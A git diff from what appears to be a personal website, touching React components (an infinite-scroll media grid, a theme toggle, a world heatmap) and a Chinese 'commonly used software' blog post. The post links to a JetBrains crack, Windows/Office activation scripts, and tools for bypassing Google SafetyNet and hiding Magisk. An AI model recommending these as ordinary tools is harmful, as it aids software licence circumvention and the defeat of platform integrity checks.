|
}, [error]);
|
||||||
|
|
||||||
|
// 组件初始化和依赖变化时重置
|
||||||
|
useEffect(() => {
|
||||||
|
// 重置状态
|
||||||
|
setCurrentPage(1);
|
||||||
|
stateRef.current.currentPage = 1;
|
||||||
|
|
||||||
|
setHasMoreContent(true);
|
||||||
|
stateRef.current.hasMoreContent = true;
|
||||||
|
|
||||||
|
setError(null);
|
||||||
|
stateRef.current.error = null;
|
||||||
|
|
||||||
|
setIsLoading(false);
|
||||||
|
stateRef.current.isLoading = false;
|
||||||
|
|
||||||
|
// 清空列表
|
||||||
|
setItems([]);
|
||||||
|
|
||||||
|
// 加载第一页数据
|
||||||
|
fetchMedia(1, false);
|
||||||
|
|
||||||
|
// 管理滚动事件
|
||||||
|
const scrollListener = handleScroll;
|
||||||
|
|
||||||
|
// 移除任何现有监听器
|
||||||
|
window.removeEventListener('scroll', scrollListener);
|
||||||
|
|
||||||
|
// 添加滚动事件监听器 - 使用passive: true可提高滚动性能
|
||||||
|
window.addEventListener('scroll', scrollListener, { passive: true });
|
||||||
|
|
||||||
|
// 创建一个IntersectionObserver作为备选检测方案
|
||||||
|
const observerOptions = {
|
||||||
|
root: null,
|
||||||
|
rootMargin: '300px',
|
||||||
|
threshold: 0.1
|
||||||
|
};
|
||||||
|
|
||||||
|
const intersectionObserver = new IntersectionObserver((entries) => {
|
||||||
|
const entry = entries[0];
|
||||||
|
|
||||||
|
if (entry.isIntersecting &&
|
||||||
|
!stateRef.current.isLoading &&
|
||||||
|
stateRef.current.hasMoreContent &&
|
||||||
|
!stateRef.current.error) {
|
||||||
|
fetchMedia(stateRef.current.currentPage + 1, true);
|
||||||
|
}
|
||||||
|
}, observerOptions);
|
||||||
|
|
||||||
|
// 添加检测底部的元素 - 放在grid容器的后面而不是内部
|
||||||
|
const footer = document.createElement('div');
|
||||||
|
footer.id = 'scroll-detector';
|
||||||
|
footer.style.width = '100%';
|
||||||
|
footer.style.height = '10px';
|
||||||
|
|
||||||
|
// 确保mediaListRef有父元素
|
||||||
|
if (mediaListRef.current && mediaListRef.current.parentElement) {
|
||||||
|
// 插入到grid后面而不是内部
|
||||||
|
mediaListRef.current.parentElement.insertBefore(footer, mediaListRef.current.nextSibling);
|
||||||
|
intersectionObserver.observe(footer);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 初始检查一次,以防内容不足一屏
|
||||||
|
const timeoutId = setTimeout(() => {
|
||||||
|
if (stateRef.current.hasMoreContent && !stateRef.current.isLoading) {
|
||||||
|
scrollListener();
|
||||||
|
}
|
||||||
|
}, 500);
|
||||||
|
|
||||||
|
// 清理函数
|
||||||
|
return () => {
|
||||||
|
clearTimeout(timeoutId);
|
||||||
|
window.removeEventListener('scroll', scrollListener);
|
||||||
|
intersectionObserver.disconnect();
|
||||||
|
document.getElementById('scroll-detector')?.remove();
|
||||||
|
};
|
||||||
|
}, [type, doubanId]); // 只在关键属性变化时执行
|
||||||
|
|
||||||
|
// 错误提示组件
|
||||||
|
const ErrorMessage = () => {
|
||||||
|
if (!error) return null;
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div className="col-span-full text-center bg-red-50 p-4 rounded-md">
|
||||||
|
<div className="flex flex-col items-center justify-center">
|
||||||
|
<svg xmlns="http://www.w3.org/2000/svg" className="h-12 w-12 text-red-500 mb-2" fill="none" viewBox="0 0 24 24" stroke="currentColor">
|
||||||
|
<path strokeLinecap="round" strokeLinejoin="round" strokeWidth={2} d="M12 9v2m0 4h.01m-6.938 4h13.856c1.54 0 2.502-1.667 1.732-3L13.732 4c-.77-1.333-2.694-1.333-3.464 0L3.34 16c-.77 1.333.192 3 1.732 3z" />
|
||||||
|
</svg>
|
||||||
|
<h3 className="text-lg font-medium text-red-800">访问错误</h3>
|
||||||
|
<p className="mt-1 text-sm text-red-700">{error}</p>
|
||||||
|
<button
|
||||||
|
onClick={() => {
|
||||||
|
// 重置错误和加载状态
|
||||||
|
setError(null);
|
||||||
|
stateRef.current.error = null;
|
||||||
|
|
||||||
|
// 允许再次加载
|
||||||
|
setHasMoreContent(true);
|
||||||
|
stateRef.current.hasMoreContent = true;
|
||||||
|
|
||||||
|
// 重新获取当前页
|
||||||
|
fetchMedia(currentPage, false);
|
||||||
|
}}
|
||||||
|
className="mt-4 px-4 py-2 bg-red-600 text-white rounded-md hover:bg-red-700 focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-red-500"
|
||||||
|
>
|
||||||
|
重试
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
};
|
||||||
|
|
||||||
|
// 没有更多内容提示
|
||||||
|
const EndMessage = () => {
|
||||||
|
if (isLoading || !items.length || error) return null;
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div className="text-center py-8">
|
||||||
|
<p className="text-gray-600">已加载全部内容</p>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
};
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div className="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8 py-8">
|
||||||
|
<h1 className="text-3xl font-bold mb-6">{title}</h1>
|
||||||
|
|
||||||
|
<div ref={mediaListRef} className="grid grid-cols-2 sm:grid-cols-3 md:grid-cols-4 lg:grid-cols-5 gap-4">
|
||||||
|
{error && items.length === 0 ? (
|
||||||
|
<ErrorMessage />
|
||||||
|
) : items.length > 0 ? (
|
||||||
|
items.map((item, index) => (
|
||||||
|
<div key={`${item.title}-${index}`} className="bg-white rounded-lg overflow-hidden shadow-md hover:shadow-xl">
|
||||||
|
<div className="relative pb-[150%] overflow-hidden">
|
||||||
|
<img
|
||||||
|
src={item.imageUrl}
|
||||||
|
alt={item.title}
|
||||||
|
className="absolute top-0 left-0 w-full h-full object-cover hover:scale-105"
|
||||||
|
/>
|
||||||
|
<div className="absolute bottom-0 left-0 right-0 p-3 bg-gradient-to-t from-black/80 to-transparent">
|
||||||
|
<h3 className="font-bold text-white text-sm line-clamp-2">
|
||||||
|
<a href={item.link} target="_blank" rel="noopener noreferrer" className="hover:text-blue-300">
|
||||||
|
{item.title}
|
||||||
|
</a>
|
||||||
|
</h3>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
))
|
||||||
|
) : !isLoading ? (
|
||||||
|
<div className="col-span-full text-center">暂无{type === 'movie' ? '电影' : '图书'}数据</div>
|
||||||
|
) : null}
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{error && items.length > 0 && (
|
||||||
|
<div className="mt-4">
|
||||||
|
<ErrorMessage />
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{isLoading && (
|
||||||
|
<div className="text-center py-8">
|
||||||
|
<div className="inline-block h-8 w-8 animate-spin rounded-full border-4 border-solid border-current border-r-transparent align-[-0.125em] motion-reduce:animate-[spin_1.5s_linear_infinite]"></div>
|
||||||
|
<p className="mt-2 text-gray-600">加载更多...(第{currentPage}页)</p>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{!hasMoreContent && items.length > 0 && !isLoading && (
|
||||||
|
<EndMessage />
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
};
|
||||||
|
|
||||||
|
export default MediaGrid;
|
@ -2,10 +2,10 @@ import { useEffect, useState, useCallback, useRef } from 'react';
|
|||||||
|
|
||||||
export function ThemeToggle({ height = 16, width = 16, fill = "currentColor", className = "" }) {
|
export function ThemeToggle({ height = 16, width = 16, fill = "currentColor", className = "" }) {
|
||||||
// 使用null作为初始状态,表示尚未确定主题
|
// 使用null作为初始状态,表示尚未确定主题
|
||||||
const [theme, setTheme] = useState(null);
|
const [theme, setTheme] = useState<string | null>(null);
|
||||||
const [mounted, setMounted] = useState(false);
|
const [mounted, setMounted] = useState(false);
|
||||||
const [transitioning, setTransitioning] = useState(false);
|
const [transitioning, setTransitioning] = useState(false);
|
||||||
const transitionTimeoutRef = useRef(null);
|
const transitionTimeoutRef = useRef<NodeJS.Timeout | null>(null);
|
||||||
|
|
||||||
// 获取系统主题
|
// 获取系统主题
|
||||||
const getSystemTheme = useCallback(() => {
|
const getSystemTheme = useCallback(() => {
|
||||||
@ -30,7 +30,7 @@ export function ThemeToggle({ height = 16, width = 16, fill = "currentColor", cl
|
|||||||
|
|
||||||
// 监听系统主题变化
|
// 监听系统主题变化
|
||||||
const mediaQuery = window.matchMedia('(prefers-color-scheme: dark)');
|
const mediaQuery = window.matchMedia('(prefers-color-scheme: dark)');
|
||||||
const handleMediaChange = (e) => {
|
const handleMediaChange = (e: MediaQueryListEvent) => {
|
||||||
// 只有当主题设置为跟随系统时才更新主题
|
// 只有当主题设置为跟随系统时才更新主题
|
||||||
if (!localStorage.getItem('theme')) {
|
if (!localStorage.getItem('theme')) {
|
||||||
const newTheme = e.matches ? 'dark' : 'light';
|
const newTheme = e.matches ? 'dark' : 'light';
|
||||||
@ -84,7 +84,7 @@ export function ThemeToggle({ height = 16, width = 16, fill = "currentColor", cl
|
|||||||
if (!mounted || theme === null) {
|
if (!mounted || theme === null) {
|
||||||
return (
|
return (
|
||||||
<div
|
<div
|
||||||
className={`inline-flex items-center justify-center h-8 w-8 cursor-pointer rounded-md transition-all duration-200 hover:bg-gray-100 dark:hover:bg-gray-700/50 text-secondary-600 dark:text-secondary-400 hover:text-primary-600 dark:hover:text-primary-400 ${className}`}
|
className={`inline-flex items-center justify-center h-8 w-8 cursor-pointer rounded-md hover:bg-gray-100 dark:hover:bg-gray-700/50 text-secondary-600 dark:text-secondary-400 hover:text-primary-600 dark:hover:text-primary-400 ${className}`}
|
||||||
>
|
>
|
||||||
<span className="sr-only">加载主题切换按钮...</span>
|
<span className="sr-only">加载主题切换按钮...</span>
|
||||||
</div>
|
</div>
|
||||||
@ -93,7 +93,7 @@ export function ThemeToggle({ height = 16, width = 16, fill = "currentColor", cl
|
|||||||
|
|
||||||
return (
|
return (
|
||||||
<div
|
<div
|
||||||
className={`inline-flex items-center justify-center h-8 w-8 cursor-pointer rounded-md transition-all duration-200 hover:bg-gray-100 dark:hover:bg-gray-700/50 text-secondary-600 dark:text-secondary-400 hover:text-primary-600 dark:hover:text-primary-400 ${transitioning ? 'pointer-events-none opacity-80' : ''} ${className}`}
|
className={`inline-flex items-center justify-center h-8 w-8 cursor-pointer rounded-md hover:bg-gray-100 dark:hover:bg-gray-700/50 text-secondary-600 dark:text-secondary-400 hover:text-primary-600 dark:hover:text-primary-400 ${transitioning ? 'pointer-events-none opacity-80' : ''} ${className}`}
|
||||||
onClick={toggleTheme}
|
onClick={toggleTheme}
|
||||||
role="button"
|
role="button"
|
||||||
tabIndex={0}
|
tabIndex={0}
|
||||||
@ -110,7 +110,7 @@ export function ThemeToggle({ height = 16, width = 16, fill = "currentColor", cl
|
|||||||
style={{ height: `${height}px`, width: `${width}px` }}
|
style={{ height: `${height}px`, width: `${width}px` }}
|
||||||
fill={fill}
|
fill={fill}
|
||||||
viewBox="0 0 16 16"
|
viewBox="0 0 16 16"
|
||||||
className="transition-transform duration-200 hover:scale-110"
|
className="hover:scale-110"
|
||||||
aria-hidden="true"
|
aria-hidden="true"
|
||||||
>
|
>
|
||||||
<path d="M6 .278a.768.768 0 0 1 .08.858 7.208 7.208 0 0 0-.878 3.46c0 4.021 3.278 7.277 7.318 7.277.527 0 1.04-.055 1.533-.16a.787.787 0 0 1 .81.316.733.733 0 0 1-.031.893A8.349 8.349 0 0 1 8.344 16C3.734 16 0 12.286 0 7.71 0 4.266 2.114 1.312 5.124.06A.752.752 0 0 1 6 .278z"/>
|
<path d="M6 .278a.768.768 0 0 1 .08.858 7.208 7.208 0 0 0-.878 3.46c0 4.021 3.278 7.277 7.318 7.277.527 0 1.04-.055 1.533-.16a.787.787 0 0 1 .81.316.733.733 0 0 1-.031.893A8.349 8.349 0 0 1 8.344 16C3.734 16 0 12.286 0 7.71 0 4.266 2.114 1.312 5.124.06A.752.752 0 0 1 6 .278z"/>
|
||||||
@ -120,7 +120,7 @@ export function ThemeToggle({ height = 16, width = 16, fill = "currentColor", cl
|
|||||||
style={{ height: `${height}px`, width: `${width}px` }}
|
style={{ height: `${height}px`, width: `${width}px` }}
|
||||||
fill={fill}
|
fill={fill}
|
||||||
viewBox="0 0 16 16"
|
viewBox="0 0 16 16"
|
||||||
className="transition-transform duration-200 hover:scale-110"
|
className="hover:scale-110"
|
||||||
aria-hidden="true"
|
aria-hidden="true"
|
||||||
>
|
>
|
||||||
<path d="M8 12a4 4 0 1 0 0-8 4 4 0 0 0 0 8zM8 0a.5.5 0 0 1 .5.5v2a.5.5 0 0 1-1 0v-2A.5.5 0 0 1 8 0zm0 13a.5.5 0 0 1 .5.5v2a.5.5 0 0 1-1 0v-2A.5.5 0 0 1 8 13zm8-5a.5.5 0 0 1-.5.5h-2a.5.5 0 0 1 0-1h2a.5.5 0 0 1 .5.5zM3 8a.5.5 0 0 1-.5.5h-2a.5.5 0 0 1 0-1h2A.5.5 0 0 1 3 8zm10.657-5.657a.5.5 0 0 1 0 .707l-1.414 1.415a.5.5 0 1 1-.707-.708l1.414-1.414a.5.5 0 0 1 .707 0zm-9.193 9.193a.5.5 0 0 1 0 .707L3.05 13.657a.5.5 0 0 1-.707-.707l1.414-1.414a.5.5 0 0 1 .707 0zm9.193 2.121a.5.5 0 0 1-.707 0l-1.414-1.414a.5.5 0 0 1 .707-.707l1.414 1.414a.5.5 0 0 1 0 .707zM4.464 4.465a.5.5 0 0 1-.707 0L2.343 3.05a.5.5 0 1 1 .707-.707l1.414 1.414a.5.5 0 0 1 0 .708z"/>
|
<path d="M8 12a4 4 0 1 0 0-8 4 4 0 0 0 0 8zM8 0a.5.5 0 0 1 .5.5v2a.5.5 0 0 1-1 0v-2A.5.5 0 0 1 8 0zm0 13a.5.5 0 0 1 .5.5v2a.5.5 0 0 1-1 0v-2A.5.5 0 0 1 8 13zm8-5a.5.5 0 0 1-.5.5h-2a.5.5 0 0 1 0-1h2a.5.5 0 0 1 .5.5zM3 8a.5.5 0 0 1-.5.5h-2a.5.5 0 0 1 0-1h2A.5.5 0 0 1 3 8zm10.657-5.657a.5.5 0 0 1 0 .707l-1.414 1.415a.5.5 0 1 1-.707-.708l1.414-1.414a.5.5 0 0 1 .707 0zm-9.193 9.193a.5.5 0 0 1 0 .707L3.05 13.657a.5.5 0 0 1-.707-.707l1.414-1.414a.5.5 0 0 1 .707 0zm9.193 2.121a.5.5 0 0 1-.707 0l-1.414-1.414a.5.5 0 0 1 .707-.707l1.414 1.414a.5.5 0 0 1 0 .707zM4.464 4.465a.5.5 0 0 1-.707 0L2.343 3.05a.5.5 0 1 1 .707-.707l1.414 1.414a.5.5 0 0 1 0 .708z"/>
|
@ -844,7 +844,7 @@ const WorldHeatmap: React.FC<WorldHeatmapProps> = ({ visitedPlaces }) => {
|
|||||||
/>
|
/>
|
||||||
{hoveredCountry && (
|
{hoveredCountry && (
|
||||||
<div className="absolute bottom-5 left-0 right-0 text-center z-10">
|
<div className="absolute bottom-5 left-0 right-0 text-center z-10">
|
||||||
<div className="inline-block bg-white/95 dark:bg-gray-800/95 px-6 py-3 rounded-xl shadow-lg backdrop-blur-sm border border-gray-200 dark:border-gray-700 transition-all duration-300 hover:scale-105">
|
<div className="inline-block bg-white/95 dark:bg-gray-800/95 px-6 py-3 rounded-xl shadow-lg backdrop-blur-sm border border-gray-200 dark:border-gray-700 hover:scale-105">
|
||||||
<p className="text-gray-800 dark:text-white font-medium text-lg flex items-center justify-center gap-2">
|
<p className="text-gray-800 dark:text-white font-medium text-lg flex items-center justify-center gap-2">
|
||||||
{hoveredCountry}
|
{hoveredCountry}
|
||||||
{hoveredCountry && visitedPlaces.includes(hoveredCountry) ? (
|
{hoveredCountry && visitedPlaces.includes(hoveredCountry) ? (
|
||||||
|
@ -3,170 +3,185 @@ title: "常用软件"
|
|||||||
date: 2023-04-28T20:56:00Z
|
date: 2023-04-28T20:56:00Z
|
||||||
tags: []
|
tags: []
|
||||||
---
|
---
|
||||||
|
|
||||||
### Windows 应用
|
### Windows 应用
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
* **开发软件:**
|
- **开发软件:**
|
||||||
|
|
||||||
* [JetBrains全家桶](https://www.jetbrains.com/zh-cn/products/)
|
- [JetBrains 全家桶](https://www.jetbrains.com/zh-cn/products/)
|
||||||
* [JetBrains破解软件](https://linux.do/t/topic/115562)
|
- [JetBrains 破解软件](https://linux.do/t/topic/115562)
|
||||||
* **压缩软件:** [NanaZIP](https://github.com/M2Team/NanaZip) (应用商店可下载)
|
|
||||||
* **办公软件:**
|
|
||||||
|
|
||||||
* [Office Tool Plus](https://otp.landian.vip/zh-cn/download.html) (office下载)
|
- **压缩软件:** [NanaZIP](https://github.com/M2Team/NanaZip) (应用商店可下载)
|
||||||
* [WAS](https://github.com/massgravel/Microsoft-Activation-Scripts) (windows/office 激活)
|
- **办公软件:**
|
||||||
* [HEU_KMS_Activator](https://github.com/zbezj/HEU_KMS_Activator/releases) (windows/office 激活)
|
|
||||||
* **下载器:** [IDM](https://www.internetdownloadmanager.com/)
|
|
||||||
* **卸载工具:** [Geek](https://geekuninstaller.com/)
|
|
||||||
* **文件搜索工具:** [Everything](https://www.voidtools.com/downloads/)
|
|
||||||
* **电脑硬件检测:** [图吧工具箱](http://www.tbtool.cn/)
|
|
||||||
* **浏览器:**
|
|
||||||
|
|
||||||
* [chrome](https://www.google.com/chrome/)
|
- [Office Tool Plus](https://otp.landian.vip/zh-cn/download.html) (office 下载)
|
||||||
* [Arc](https://arc.net/)
|
- [WAS](https://github.com/massgravel/Microsoft-Activation-Scripts) (windows/office 激活)
|
||||||
* [百分浏览器](https://www.centbrowser.cn/)
|
- [HEU_KMS_Activator](https://github.com/zbezj/HEU_KMS_Activator/releases) (windows/office 激活)
|
||||||
* **ssh工具:**
|
|
||||||
|
|
||||||
* [tabby](https://github.com/Eugeny/tabby/tree/master)
|
- **下载器:** [IDM](https://www.internetdownloadmanager.com/)
|
||||||
* [FinalShell](http://www.hostbuf.com/)
|
- **卸载工具:** [Geek](https://geekuninstaller.com/)
|
||||||
* **adb工具:** [Platform Tools](https://developer.android.com/tools/releases/platform-tools?hl=zh-cn)
|
- **文件搜索工具:** [Everything](https://www.voidtools.com/downloads/)
|
||||||
* **科学上网工具:**
|
- **电脑硬件检测:** [图吧工具箱](http://www.tbtool.cn/)
|
||||||
|
- **浏览器:**
|
||||||
|
|
||||||
* [Clash for Windows](https://github.com/Z-Siqi/Clash-for-Windows_Chinese/releases)
|
- [chrome](https://www.google.com/chrome/)
|
||||||
* [v2rayN](https://github.com/2dust/v2rayN/releases/)
|
- [Arc](https://arc.net/)
|
||||||
* [v2ray-rules-dat](https://github.com/Loyalsoldier/v2ray-rules-dat):V2Ray 路由规则文件加强版
|
- [百分浏览器](https://www.centbrowser.cn/)
|
||||||
* **驱动管理:** [360驱动大师](http://dm.weishi.360.cn/home.html)
|
|
||||||
* **运行库安装:** [NET Framework](https://dotnet.microsoft.com/zh-cn/download/dotnet-framework)
|
|
||||||
* **任务栏透明工具:** [TranslucentTB](https://github.com/TranslucentTB/TranslucentTB#start-of-content) (应用商店可下载)
|
|
||||||
* **壁纸软件:** [Wallpaper Engine](https://store.steampowered.com/app/431960/Wallpaper_Engine/)
|
|
||||||
* **防火墙应用:**
|
|
||||||
|
|
||||||
* [360安全卫士极速版](https://weishi.360.cn/jisu/)
|
- **ssh 工具:**
|
||||||
* [火绒](https://www.huorong.cn/)
|
|
||||||
|
- [tabby](https://github.com/Eugeny/tabby/tree/master)
|
||||||
|
- [FinalShell](http://www.hostbuf.com/)
|
||||||
|
|
||||||
|
- **adb 工具:** [Platform Tools](https://developer.android.com/tools/releases/platform-tools?hl=zh-cn)
|
||||||
|
- **科学上网工具:**
|
||||||
|
|
||||||
|
- [Clash for Windows](https://github.com/Z-Siqi/Clash-for-Windows_Chinese/releases)
|
||||||
|
- [v2rayN](https://github.com/2dust/v2rayN/releases/)
|
||||||
|
- [v2ray-rules-dat](https://github.com/Loyalsoldier/v2ray-rules-dat):V2Ray 路由规则文件加强版
|
||||||
|
|
||||||
|
- **驱动管理:** [360 驱动大师](http://dm.weishi.360.cn/home.html)
|
||||||
|
- **运行库安装:** [NET Framework](https://dotnet.microsoft.com/zh-cn/download/dotnet-framework)
|
||||||
|
- **任务栏透明工具:** [TranslucentTB](https://github.com/TranslucentTB/TranslucentTB#start-of-content) (应用商店可下载)
|
||||||
|
- **壁纸软件:** [Wallpaper Engine](https://store.steampowered.com/app/431960/Wallpaper_Engine/)
|
||||||
|
- **防火墙应用:**
|
||||||
|
|
||||||
|
- [360 安全卫士极速版](https://weishi.360.cn/jisu/)
|
||||||
|
- [火绒](https://www.huorong.cn/)
|
||||||
|
|
||||||
### Android 应用
|
### Android 应用
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
* **下载器:** 1DM+
|
- **下载器:** 1DM+
|
||||||
* **安装器:** R-安装组件
|
- **安装器:** R-安装组件
|
||||||
* **浏览器:**
|
- **浏览器:**
|
||||||
|
|
||||||
* [雨见浏览器国际版](https://yjllq.com/)
|
- [雨见浏览器国际版](https://yjllq.com/)
|
||||||
* [Alook](https://www.alookweb.com/)
|
- [Alook](https://www.alookweb.com/)
|
||||||
* **文件管理器:** [MT管理器](https://mt2.cn/)
|
|
||||||
* **网络工具:**
|
|
||||||
|
|
||||||
* Cellular Pro
|
- **文件管理器:** [MT 管理器](https://mt2.cn/)
|
||||||
* VPN热点
|
- **网络工具:**
|
||||||
* **科学上网:**
|
|
||||||
|
|
||||||
* Surfboard
|
- Cellular Pro
|
||||||
* [v2rayNG](https://github.com/2dust/v2rayNG/releases)
|
- VPN 热点
|
||||||
* **终端模拟器**:
|
|
||||||
|
|
||||||
* [Termux](https://termux.dev/)
|
- **科学上网:**
|
||||||
* [ZeroTermux](https://github.com/hanxinhao000/ZeroTermux)
|
|
||||||
* **Git 存储库管理工具:** [GitNex](https://gitnex.com/)
|
|
||||||
* **视频播放器:**
|
|
||||||
|
|
||||||
* MX播放器专业版
|
- Surfboard
|
||||||
* XPlayer - 万能视频播放器
|
- [v2rayNG](https://github.com/2dust/v2rayNG/releases)
|
||||||
* **服务器连接:**
|
|
||||||
|
|
||||||
* [JuiceSSH](https://juicessh.com/)
|
- **终端模拟器**:
|
||||||
* RD客户端 (连接Windows)
|
|
||||||
* [Termius](https://termius.com/)
|
|
||||||
* **根目录整理:** [存储空间隔离](https://sr.rikka.app/)
|
|
||||||
* **定位修改:** [Fake Location](https://github.com/Lerist/FakeLocation)
|
|
||||||
* **将操作系统映像写入USB驱动器:** [EtchDroid](https://github.com/EtchDroid/EtchDroid)
|
|
||||||
* **adb工具:**
|
|
||||||
|
|
||||||
* [搞机助手](https://gjzsr.com/)
|
- [Termux](https://termux.dev/)
|
||||||
* 甲壳虫ADB助手
|
- [ZeroTermux](https://github.com/hanxinhao000/ZeroTermux)
|
||||||
* Bugjaeger Premium
|
|
||||||
* [scene](https://github.com/kdrag0n/safetynet-fix/releases)
|
|
||||||
* **Xposed软件**
|
|
||||||
|
|
||||||
* **抖音增强:** [FreedomPlus](https://github.com/Xposed-Modules-Repo/io.github.fplus)
|
- **Git 存储库管理工具:** [GitNex](https://gitnex.com/)
|
||||||
* **bilibili增强:** [哔哩漫游](https://github.com/yujincheng08/BiliRoaming)
|
- **视频播放器:**
|
||||||
* **微信增强:** [微x模块](https://github.com/Xposed-Modules-Repo/com.fkzhang.wechatxposed)
|
|
||||||
* **QQ增强:** [QAuxiliary](https://github.com/Xposed-Modules-Repo/io.github.qauxv)
|
|
||||||
* **识别短信验证码:** [XposedSmsCode](https://github.com/Xposed-Modules-Repo/com.github.tianma8023.xposed.smscode)
|
|
||||||
* **Magisk模块管理:**
|
|
||||||
|
|
||||||
* [LSPosed](https://github.com/LSPosed/LSPosed):已归档
|
- MX 播放器专业版
|
||||||
* 关闭SELinux
|
- XPlayer - 万能视频播放器
|
||||||
* 停用HW叠加层模块
|
|
||||||
* [Universal SafetyNet Fix](https://github.com/kdrag0n/safetynet-fix):绕过 Google 的 SafetyNet 认证
|
- **服务器连接:**
|
||||||
* [Shamiko](https://github.com/LSPosed/LSPosed.github.io/releases):隐藏更多 Magisk 痕迹
|
|
||||||
|
- [JuiceSSH](https://juicessh.com/)
|
||||||
|
- RD 客户端 (连接 Windows)
|
||||||
|
- [Termius](https://termius.com/)
|
||||||
|
|
||||||
|
- **根目录整理:** [存储空间隔离](https://sr.rikka.app/)
|
||||||
|
- **定位修改:** [Fake Location](https://github.com/Lerist/FakeLocation)
|
||||||
|
- **将操作系统映像写入 USB 驱动器:** [EtchDroid](https://github.com/EtchDroid/EtchDroid)
|
||||||
|
- **adb 工具:**
|
||||||
|
|
||||||
|
- [搞机助手](https://gjzsr.com/)
|
||||||
|
- 甲壳虫 ADB 助手
|
||||||
|
- Bugjaeger Premium
|
||||||
|
- [scene](https://github.com/kdrag0n/safetynet-fix/releases)
|
||||||
|
|
||||||
|
- **Xposed 软件**
|
||||||
|
|
||||||
|
- **抖音增强:** [FreedomPlus](https://github.com/Xposed-Modules-Repo/io.github.fplus)
|
||||||
|
- **bilibili 增强:** [哔哩漫游](https://github.com/yujincheng08/BiliRoaming)
|
||||||
|
- **微信增强:** [微 x 模块](https://github.com/Xposed-Modules-Repo/com.fkzhang.wechatxposed)
|
||||||
|
- **QQ 增强:** [QAuxiliary](https://github.com/Xposed-Modules-Repo/io.github.qauxv)
|
||||||
|
- **识别短信验证码:** [XposedSmsCode](https://github.com/Xposed-Modules-Repo/com.github.tianma8023.xposed.smscode)
|
||||||
|
|
||||||
|
- **Magisk 模块管理:**
|
||||||
|
|
||||||
|
- [LSPosed](https://github.com/LSPosed/LSPosed):已归档
|
||||||
|
- 关闭 SELinux
|
||||||
|
- 停用 HW 叠加层模块
|
||||||
|
- [Universal SafetyNet Fix](https://github.com/kdrag0n/safetynet-fix):绕过 Google 的 SafetyNet 认证
|
||||||
|
- [Shamiko](https://github.com/LSPosed/LSPosed.github.io/releases):隐藏更多 Magisk 痕迹
|
||||||
|
|
||||||
### 浏览器插件
|
### 浏览器插件
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
* [AdGuard](https://adguard.com/zh_cn/adguard-browser-extension/overview.html):广告拦截程序
|
- [AdGuard](https://adguard.com/zh_cn/adguard-browser-extension/overview.html):广告拦截程序
|
||||||
* [篡改猴](https://www.tampermonkey.net/index.php?browser=chrome&locale=zh):脚本管理器
|
- [篡改猴](https://www.tampermonkey.net/index.php?browser=chrome&locale=zh):脚本管理器
|
||||||
* [猫抓](https://o2bmm.gitbook.io/cat-catch):资源嗅探
|
- [猫抓](https://o2bmm.gitbook.io/cat-catch):资源嗅探
|
||||||
* [图片助手(ImageAssistant)](https://www.pullywood.com/ImageAssistant/):嗅探、分析网页图片、图片筛选
|
- [图片助手(ImageAssistant)](https://www.pullywood.com/ImageAssistant/):嗅探、分析网页图片、图片筛选
|
||||||
* [Circle 阅读助手](http://www.circlereader.com/):提取并排版网页内容
|
- [Circle 阅读助手](http://www.circlereader.com/):提取并排版网页内容
|
||||||
* [Global Speed](https://chrome.google.com/webstore/detail/global-speed/jpbjcnkcffbooppibceonlgknpkniiff?hl=zh-CN):速度控制
|
- [Global Speed](https://chrome.google.com/webstore/detail/global-speed/jpbjcnkcffbooppibceonlgknpkniiff?hl=zh-CN):速度控制
|
||||||
* [ColorZilla](https://www.colorzilla.com/zh-cn/):拾色器
|
- [ColorZilla](https://www.colorzilla.com/zh-cn/):拾色器
|
||||||
* [Selenium IDE](https://www.selenium.dev/zh-cn/documentation/ide/):记录和回放用户操作
|
- [Selenium IDE](https://www.selenium.dev/zh-cn/documentation/ide/):记录和回放用户操作
|
||||||
* [Floccus](https://floccus.org/download):同步书签和标签
|
- [Floccus](https://floccus.org/download):同步书签和标签
|
||||||
* [沉浸式翻译:](https://immersivetranslate.com/) 网页翻译
|
- [沉浸式翻译:](https://immersivetranslate.com/) 网页翻译
|
||||||
|
|
||||||
### Docker 应用
|
### Docker 应用
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
* [vaultwarden](https://github.com/dani-garcia/vaultwarden):密码管理器,[Bitwarden](https://bitwarden.com/)的第三方 Docker 项目。
|
- [vaultwarden](https://github.com/dani-garcia/vaultwarden):密码管理器,[Bitwarden](https://bitwarden.com/)的第三方 Docker 项目。
|
||||||
* [AList](https://alist.nn.ci/zh/):支持多种文件储存,支持 WebDAV
|
- [AList](https://alist.nn.ci/zh/):支持多种文件储存,支持 WebDAV
|
||||||
* [思源笔记](https://b3log.org/siyuan/):支持web端
|
- [思源笔记](https://b3log.org/siyuan/):支持 web 端
|
||||||
* [Gitea](https://about.gitea.com/):支持基于 Git 创建和管理存储库
|
- [Gitea](https://about.gitea.com/):支持基于 Git 创建和管理存储库
|
||||||
* [Nginx Proxy Manager](https://nginxproxymanager.com/):Nginx 代理管理器
|
- [Nginx Proxy Manager](https://nginxproxymanager.com/):Nginx 代理管理器
|
||||||
* [雷池](https://waf-ce.chaitin.cn/):基于Nginx开发的Web 应用防火墙
|
- [雷池](https://waf-ce.chaitin.cn/):基于 Nginx 开发的 Web 应用防火墙
|
||||||
|
|
||||||
### Linux 应用
|
### Linux 应用
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
* [OpenSSH](https://www.openssh.com/):SSH连接工具
|
- [OpenSSH](https://www.openssh.com/):SSH 连接工具
|
||||||
* `Wget` `curl`:从网络上获取或发送数据
|
- `Wget` `curl`:从网络上获取或发送数据
|
||||||
* [vim](https://www.vim.org/):文本编辑器
|
- [vim](https://www.vim.org/):文本编辑器
|
||||||
